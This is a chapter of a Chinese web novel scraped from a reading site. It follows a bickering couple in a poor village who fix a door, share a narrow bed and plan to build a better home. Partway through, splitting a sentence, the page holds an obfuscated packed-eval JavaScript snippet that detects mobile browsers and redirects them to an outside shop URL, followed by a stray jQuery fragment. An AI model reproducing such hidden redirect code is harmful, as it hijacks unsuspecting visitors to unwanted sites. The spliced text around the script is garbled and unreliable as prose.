默认冷灰
24号文字
方正启体

6. 第六章

作者:一口缸本书字数:K更新时间:
    月亮西斜,渐渐被云层遮盖,密不透光,可谓是伸手不见五指。


    温鸢拿着手电筒给沈永贵打着光,来了两天,总算是体会到了什么叫现代科技,这辈子头一次觉得手电筒发出的这束闪亮的光能这么好看。


    沈永贵说一不二,说给她修门,还真拿上钉子锤子来给修了。


    蹲在地上的沈永贵正在找角度,准备把蚂蟥钉给钉进去,偏偏那个打手电的是个糟心玩意儿,他左扭右扭看都看不清,还差点把手砸到。


    “你说说你能干啥,连个手电都打不成!我手在这,不是我脑门儿上!”


    沈永贵一把夺过温鸢手里的手电,就朝她脑门儿上怼。


    温鸢被吓一跳,眼睛差点被晃瞎,赶忙接过,狗腿子似的嘿嘿一声:“这不是没用过嘛,我好奇瞅了几眼,大伯你接着修,我保证不乱晃。”


    说着,她十分认真地双手握把,马步下蹲,势要替他扫清黑夜的所有障碍。


    沈永贵:“……”


    他只觉得上辈子造孽太多,这辈子才遇到这俩“仙人”,以前怎么没发现小三这媳妇儿这么缺心眼子。


    也是,要是不缺心眼子怎么能在村口跟老太太扯头花骂账呢。


    沈永贵懒得再搭理她,这种人就是越搭理越来劲。


    他正往门框认真锤着钉子,四周寂静,只剩下叮叮叮的敲击声,这时,沈永贵忽然回头看了眼身后的屋子。


    凑过来低声问:“你爹娘那边来了人没有?”


    听到爹娘,温鸢还愣了一下,跟温家那边能有什么事儿,都算断亲了,等反应过来才知道是沈老太沈老头。


    她摇了摇头,“没。”


    “哎。”沈永贵叹了口气,“算了,清官难断家务事,我也懒得管了。”


    “这门暂时只能弄成这样,你俩过几天上供销社去买合页,让小三那小子修,别想着一天到晚不干活。”


    “走了。”


    沈永贵拿上手电,背着手,头也不回地就走了。


    温鸢:“我等会儿跟他说,您慢着点儿走,看着点路。”


    沈永贵摆摆手,消失在黑夜里。


    送走沈永贵,温鸢总算是松了口气,这也太难应付了,好在她撒起泼来手拿把掐。


    “人走了?”


    沈屹听见外面的动静,走了出来。


    温鸢点头:“嗯,别说沈家这大伯人还挺好的,他刚进屋还给了我两个鸡蛋,明早上煮了吃。”


    顺着她的话,沈屹想了想,在沈老三心里沈永贵怕是唯一一个把他当人看的长辈,他方才被打的时候没躲,很大程度上是这具身体残存的习惯在作祟。


    温鸢小心翼翼地把大门带上,视线落在他的手臂上,光线暗得只能看清轮廓,“他打你的地方没事儿吧?我刚听着可响了。”


    沈屹原想说没事,但对上她,话到嘴边又变成了,“有点。”


    温鸢皱了下眉,“那我明天找找看有没有消肿的草药给你敷敷,怕不是得肿了。”


    常年下地干活的乡下汉子,力气都大,沈永贵也不知道收着点力气,没轻没重的。


    就沈屹还得继续装二流子这样儿,怕不是还得被他揍。


    啧,真可怜。


    嘻嘻。


    温鸢在心里腹诽了几句,本想笑的,但最后憋住了,嘲笑队友不道德。


    最后,她板着脸叮嘱道:“你待会儿洗澡的时候用热水搓一搓,就当活血化瘀了。”


    沈屹随意嗯了一声,视线却落在她担忧的神色上。


    ~


    昏黄的屋内,窗台上原本的半截红烛,逐渐耗尽。


    两人赶着最后这点光亮,快速洗漱。


    天气热,洗澡也用不着多少热水。


    晚上煮完粥,用灶上的余火烧一点,热水兑冷水,等到温手的程度就行。


    这个家连洗澡的地方都没有,去茅厕洗一是怕自己被熏死,二是怕自己掉下去。


    温鸢这两天,就是在灶房简单擦洗的,天气太热了,感觉不好好搓几下,人都得馊。


    必须得弄个淋浴间!还有浴桶!


    现在她只能安慰自己,起码不用去河边洗野澡。


    洗完澡出来,温鸢看了眼坐在床沿一动不动当雕像的沈屹,“我好了,热水没多少了你多兑点凉的也行,反正天气热。”


    沈屹没准备洗热的:“我就在院里随便冲冲就行。”


    温鸢将脚上的鞋子踢掉,爬上床,嫌弃地看了他一眼,“随你,反正你要是洗不干净,身上有味我就把你踢下床。”


    “……”


    沈屹黑着脸,扫了眼床上翘着二郎腿,躺得四仰八叉的人,背过身抬手就将上衣褪去。


    温鸢被他突然的动作搞得猝不及防,赶忙抬手将眼睛捂住,“耍流氓啊你!”


    沈屹乜了一眼,虽手捂着脸手指缝却精准露出两只眼睛的女流氓,挑眉道,“你没见过?”


    说完,人走出了门。


    留下温鸢一人在捶床破防。


    好一个不要脸的狗男人,她就知道他这副嘴脸藏不了一天!


    看看看,她看个屁,那以前的起码比现在这好看,最起码对她的眼睛很友好。


    这都缩水了,看个鬼,看一眼都得折寿。


    温鸢在心里狠狠鄙夷了他一番,等下次她一定得扳回来,她下次就骂他黑,跟炭似的。


    不一会儿,门外传来淅淅沥沥的水声,透过窗户摇曳的烛火将男人影子投射在屋内。


    朦朦胧胧,想避也避不掉。


    温鸢向来是,既然躲不掉那就是她该看该听的,那就大大方方地看,大大方方地听。


    村里夜晚安静,断断续续的蝉鸣,偶尔几声狗吠,以及院子里水流贴着墙根顺势流下的沙沙声。


    影子跟放电影似的映在墙上,大致描摹出男人的轮廓,偏头时侧脸棱角分明,鼻骨线条流畅,鼻梁挺直。


    仔细观察还能看清发尾落下的水珠。


    整个画面,好看得甚至给人感觉不在一个次元,妥妥的视觉盛宴。


    温鸢感慨,不得不说,人跟人的气质差别还是很大的。


    如果是沈老三,就算是顶着跟沈屹一模一样的脸,她都不会觉得帅。


    她是个有原则的颜控,有些人举手投足就是这么有观赏性。


    没有夸前男友好看的意思,只是客观评价。


    不知是不是生物钟到了,还是周围太安静的缘故,温鸢没多久就打起了哈欠。


    沈屹进来时就看见这一幕,床上的人毫不客气地将整张床全都霸占。


    没有一丝他落脚的地方。


    他将蜡烛吹灭,站在床边好一会儿,见她眼皮子打来打去的半天没分出胜负。


    感受到被人死亡凝视的目光,温鸢猛地惊醒,余光瞥见床边杵着压迫感十足的黑影。


    吓得一激灵。


    她炸毛,“你能不能当回人?不知道我胆子小经不得吓吗?”


    沈屹看了眼里头空余位置,“某个霸道的把床都占了,我没地躺站着睡还有错了?”


    温鸢气势一下就短了半截,她努了怒嘴,屁股往里挪了挪,“这就是个一米五不到的单人床,你没来那两天我一个人都躺惯了。”


    土墙壁蹭到就掉灰,挨不得,温鸢又往外挪了挪,调整了一下位置。


    没办法,就这么个条件,饱暖才能思□□,她是半点别扭的心思都没有。


    只是躺一张床上的搭子罢了。


    沈屹看着这巴掌大点的位置,在心里叹了口气,认命似的躺下。


    用睡美人的姿势,跟雕塑似的,闭眼,一动不动。


    旁边冷不丁的躺了个那么大的人,存在感极强,一不小心还能肩碰着肩。


    温鸢翻来覆去的还有些睡不着,她有点认床了,认她一个人睡的床。


    席子也就只有这一张,总不能把人家赶地上去睡。


    她也不想睡地上,那样感觉命更苦了,她会不想活。


    虽说以前也不是没一起睡过,但最多一个月一两回,他俩异地平时也碰不到一块儿。


    更何况,这都分手大半年了,她早忘了跟男的躺一张床上是什么感觉了。


    一定是因为床太小!


    赚钱,一定得快点赚钱!


    她要睡大床,住大房子!


    知道旁边的人没睡,温鸢睡不着倒开始畅想未来了,“等过几天有钱了,第一时间就得找人打张大床,不然两个人睡得太憋屈了。”


    竟然不是一人一张,趁她还没反应过来,沈屹应声:“嗯,听你的。”


    有人回应,温鸢就更起劲了,开始勾起了手指,“还有淋浴间,现在洗澡太不方便了,还得打个浴桶等冬天的时候可以泡泡澡。”


    “嗯。”


    “还有那个茅厕也得改了,我觉得在那院子里一阵风吹过来都能把我熏死。”


    “嗯。”


    “还有这个屋顶,得尽快修,不然到时候下雨咱俩睡都没地方睡!不对不对,得先建房子,这个破草房我都怕哪天起来倒了,把咱俩埋下面。”


    “嗯。”


    “沈老太那两口子也太狠心了,一袋糙米、一袋红薯就把他俩赶了出来,一点儿钱都没给。这沈老三受伤的事儿村里都传遍了,结果沈家愣是没人来看一眼,我都有点同情沈老三了,你说他会不会是捡来的?”


    “不知道。”他没见过这种父母。


    “我觉得沈家那大伯人还怪好的,咱以后可以跟他多处处。”


    “好。”


    “还有菜地,咱们在这后院里能开一小块自留地出来,以后就……”可以有菜吃了。


    身旁的人声音越来越小,最后被平稳的呼吸声代


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311113|198849||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    替。


    黑暗中,男人睁开眼睛,轻手轻脚地扯过床尾被单,盖在她的肚子上。


    头顶的月亮亮得晃眼,让人没有丝毫睡意。


    短短半天的时间,发生了太多事,虽身体疲倦,脑子却异常清醒,片刻停不下来。


    太穷了。


    除了她刚刚说的那些,就连内裤都有三个洞。


    柜子是老鼠洞,门是老鼠洞,墙角也是老鼠洞。


    就连他俩的脑袋上都一人一个洞。


    别说温鸢没吃过苦,就连他现在都觉得自己以前过的都是些什么娇生惯养的骄奢日子。


    耳边呼吸匀称而绵长,细微的鼻息声缓缓拂过耳廓,他无声地弯了弯唇。


    她倒是没心没肺,睡得香。


    不过,想也知道,她这两天怕是被吓得不轻。


    现在这样,已是万幸。


    借着月光,男人黑眸凝着那张比巴掌还小的脸,清瘦得下巴都尖了,今天掐她脸的时候,掐到的都是皮,一点肉都没有。


    头上那伤更是刺眼得很。


    愈看眸色却愈发沉,得尽快赚钱。


    至于她刚说的沈家人,还有什么小说的剧情,跟他们又有何关系。


    现在无关,之后更是。


    更何况他也不是沈老三。


    ~


    夜半,漏断人静。


    床上熟睡的人突然发出一阵悉悉簌簌的动静,梦到自己在吃卤鸡腿大西瓜的温鸢不幸地被膀胱憋醒。


    她就说一天到晚喝粥不行,光吃不占地儿,弄得人还得起夜。


    她闭着眼睛挣扎了很久,想着就这么骗着自己睡着的可能性有多大,她真的不想蹲这里的旱厕,太可怕了。


    最终失败,可能性为零。


    温鸢睁开眼,却发现自己被身边的庞然大物堵住了脚步。


    他但凡躺着睡都好,这么侧着睡,她都不知道怎么爬出去才能不碰到他。


    她想了一会儿,还是从床尾翻过去最好,她蹑手蹑脚地起身,准备手脚并用地翻越他。


    却出师不利,第一步就成功碰上了瓷,手肘“欻”地一下就撞到了某人的腰。


    下一秒,天旋地转。


    一道力扯着她的手腕,她就这么直直摔了下去,紧接着是骨头跟骨头碰撞的声音,两人齐齐闷哼一声。


    温鸢捂着脑袋从他身上爬起来,眼神颇为幽怨,“你下巴暗杀我。”


    沈屹盯着她的脸默了半秒,“也不知道是谁半夜不睡跟蛆似的在哪拱。”


    温某蛆:“……”


    “那我还不是因为要起夜,人有三急你不知道啊,不对,沈屹你个阴鬼,你早醒了却堵着不让我过!”


    温鸢气不打一处来,抡起拳头狠狠锤了他两下。


    害她还怕把人吵醒,在那纠结好半天,结果这人早醒了。


    就等着看她出丑。


    身上的人不停乱动,男人脸色逐渐变得不自然,他咳了一声,“你…先起来。”


    “到底是谁害我摔的。”温鸢丝毫没看出他的异样,骂骂咧咧地爬起来,下床时还报复性地踹了他一脚。


    不等他反应过来,温鸢穿上鞋逃似的溜之大吉,生怕后头的鬼咬上她。


    下腹被实实踹了一脚,沈屹皱着眉,冷汗都差点冒出来。


    那块没心没肺的傻木头一点都不带收劲儿的。


    他坐起身,往窗外望去,漆黑一片,怕不是得掉坑里去。


    毫不意外地,门框上出现个长发飘飘的黑影,扒着门框,探出半边身子。


    “沈屹,沈工,沈总,沈老师?你睡了吗?”


    沈屹抬眸:“嗯?”


    “看在我去年打麻将输了你八千八的份上……”


    “能不能陪我去上个厕所。”


    温鸢眼巴巴地看着他,声音越来越小,带着些乖巧讨好的意味。


    沈屹冷哼一声:“也不知道是谁打完赖债还坑了我两万八。”


    温鸢:“……”陈年旧事还记这么清楚。


    她什么时候坑了他两万八,坑的次数太多,有些忘了。


    见她半天不懂,沈屹适时开口:“说两句好听的我考虑考虑。”


    温鸢蹙眉,好听的?鬼知道他想听什么。


    温鸢白了他一眼,突然语气严肃,郑重其事地说道:“沈屹,我认真想过了,我后悔了。”


    ?


    “你连上厕所都不愿意陪我,这样搭伙过日子有什么意思,亏我还想着明天山上给你找草药,你就是这么对待合作伙伴的。”


    “哎~”她痛心疾首地叹了一声,摇了摇头。


    “我们还是离婚吧。”


    “……”


    五分钟后。


    温鸢身心舒畅地舀水洗手,朝着一旁黑着个脸的男人,露出个大大的笑容。


    嘿嘿……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)